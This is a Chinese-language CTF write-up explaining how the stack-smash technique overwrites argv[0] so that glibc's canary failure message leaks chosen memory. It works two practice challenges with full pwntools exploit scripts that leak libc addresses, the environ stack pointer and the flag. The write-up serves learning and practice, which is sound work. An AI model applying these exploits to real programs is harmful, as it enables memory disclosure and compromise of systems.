stack smash是用来绕过canary的一种方式

原理

在程序开启canary保护之后,如果我们在栈溢出时覆盖了canary,程序最后发现canary被修改的话,就会执行__stack_chk_fail函数来打印argv[0]指针指向的字符串,通常argv[0]指向的是程序名。代码如下

1
2
3
4
5
6
7
8
9
10
11
void __attribute__ ((noreturn)) __stack_chk_fail (void)
{
__fortify_fail ("stack smashing detected");
}
void __attribute__ ((noreturn)) internal_function __fortify_fail (const char *msg)
{
/* The loop is added only to keep gcc happy. */
while (1)
__libc_message (2, "*** %s ***: %s terminated\n",
msg, __libc_argv[0] ?: "<unknown>");
}

所以如果我们能利用栈溢出覆盖argv[0]为我们想要输出的字符串的地址,那么在__fortify_fail函数中就会输出我们想要的信息

练习题1

32C3 CTF readme
Jarvis OJ复现

保护

64位,开启canary、NX、FORTIFY保护

1
2
3
4
5
6
7
8
pwndbg> checksec
[*] '/home/ayoung/Desktop/temp/temp/jarvis-OJ/smash'
Arch: amd64-64-little
RELRO: No RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
FORTIFY: Enabled

分析

_IO_gets处存在栈溢出

找flag

发现data段上存着我们要的flag,地址0x600D21

然而while(1)这个循环干的事就是其打印出的overwrite flag,循环里单字节读入我们的输入,然后从0x6002d0开始存储我们的输入。同时检测到回车或达到32个字符时退出循环,然后memset((void *)((signed int)v1 + 0x600D20LL), 0, (unsigned int)(32 - v1));把我们输入的字符后面的数据清零,也就是说这里原本存着的flag都没了

  • 在 ELF 内存映射时,bss 段会被映射两次,所以我们可以使用另一处的地址来进行输出,可以使用 gdb 的 find 来进行查找

查找flag另一处存储flag的地址
用gef搜索看到原本存储flag的0x600D21处已经被我们覆盖成了我们输入的A和一堆0,而0x400d21处存储着flag

确定偏移


可以确定我们是从rsp指向的栈顶开始输入的,断点下到执行_IO_gets之前,查看rsp的值为0x7fffffffdbb0

另外查看栈的信息,从下图可以看到0x7fffffffe18a指向程序名,这个地址就是argv[0],也就是我们想修改的地方。同时可以看到0x7fffffffddc8处保存着我们要修改的地址,所以我们希望溢出到这里然后把其内容覆盖,使其指向我们要的flag(直接在gdb中直接p & __libc_argv[0]也可以)

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import*
context(os='linux', arch = 'amd64', log_level ='debug')
#r = process('./smash')
r = remote('pwn.jarvisoj.com',9877)
rsp_addr = 0x7fffffffdbb0
argv_addr = 0x7fffffffddc8
flag_addr = 0x400d21
offset = argv_addr - rsp_addr
payload = 'a'*offset + p64(flag_addr)
r.recvuntil("What's your name? ")
r.sendline(payload)
r.recvuntil("Please overwrite the flag: ")
r.sendline('AA')
r.interactive()

练习题2

2018网鼎杯的 pwn1-GUESS
BUU复现

分析

把flag读到栈上,三次循环里每次调用fork函数,fork函数是通过系统调用创建一个与原来进程几乎完全相同的进程。本题来说就是给了我们三次输入造成栈溢出并且崩溃结束的机会

知识点:在 Linux 系统中,glibc 的环境指针 environ(environment pointer) 为程序运行时所需要的环境变量表的起始地址,环境表中的指针指向各环境变量字符串。从以下结果可知环境指针 environ 在栈空间的高地址处。因此,可通过 environ 指针泄露栈地址。

由于程序没有开启PIE,environ变量中存放的栈地址的值和栈上flag的距离是不变的,所以可以通过计算偏移得到指向flag的地址

思路:

  1. 第一次溢出并泄露puts函数真实地址
  2. 通过puts地址计算出environ变量的值
  3. 第二次溢出泄露栈的地址
  4. 计算偏移
  5. 泄露flag内容

具体计算各种偏移的过程在此省略了就

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
from pwn import*
from LibcSearcher import*
context(os='linux', arch='amd64', log_level='debug')
#r = process('./guess')
elf = ELF('./guess')
r = remote('node3.buuoj.cn',25017)
puts_got = elf.got['puts']
argv_addr = 0x7fffffffddc8
input_addr = 0x7fffffffdca0
offset = argv_addr - input_addr

#leak puts_addr
payload = 'a'*offset + p64(puts_got)
r.recvuntil('Please type your guessing flag')
r.sendline(payload)
r.recvuntil("*** stack smashing detected ***: ")
puts_addr = u64(r.recv(6).ljust(8,'\x00'))
#print 'puts_addr ==> ',hex(puts_addr)

libc = LibcSearcher('puts', puts_addr)
environ_addr = puts_addr - libc.dump('puts') + libc.dump('environ')

#leak stack_addr
payload = 'a'*offset + p64(environ_addr)
r.recvuntil('Please type your guessing flag')
r.sendline(payload)
r.recvuntil("*** stack smashing detected ***: ")
stack_addr = u64(r.recv(6).ljust(8,'\x00'))
#print 'stack_addr ==> ',hex(stack_addr)
rsp_addr = stack_addr - 0x198
flag_addr = rsp_addr + 0x30

#leak flag
payload = 'a'*offset + p64(flag_addr)
r.recvuntil('Please type your guessing flag')
r.sendline(payload)
r.recvuntil("*** stack smashing detected ***: ")
flag = r.recvuntil('\n')[:-1]
print flag
r.interactive()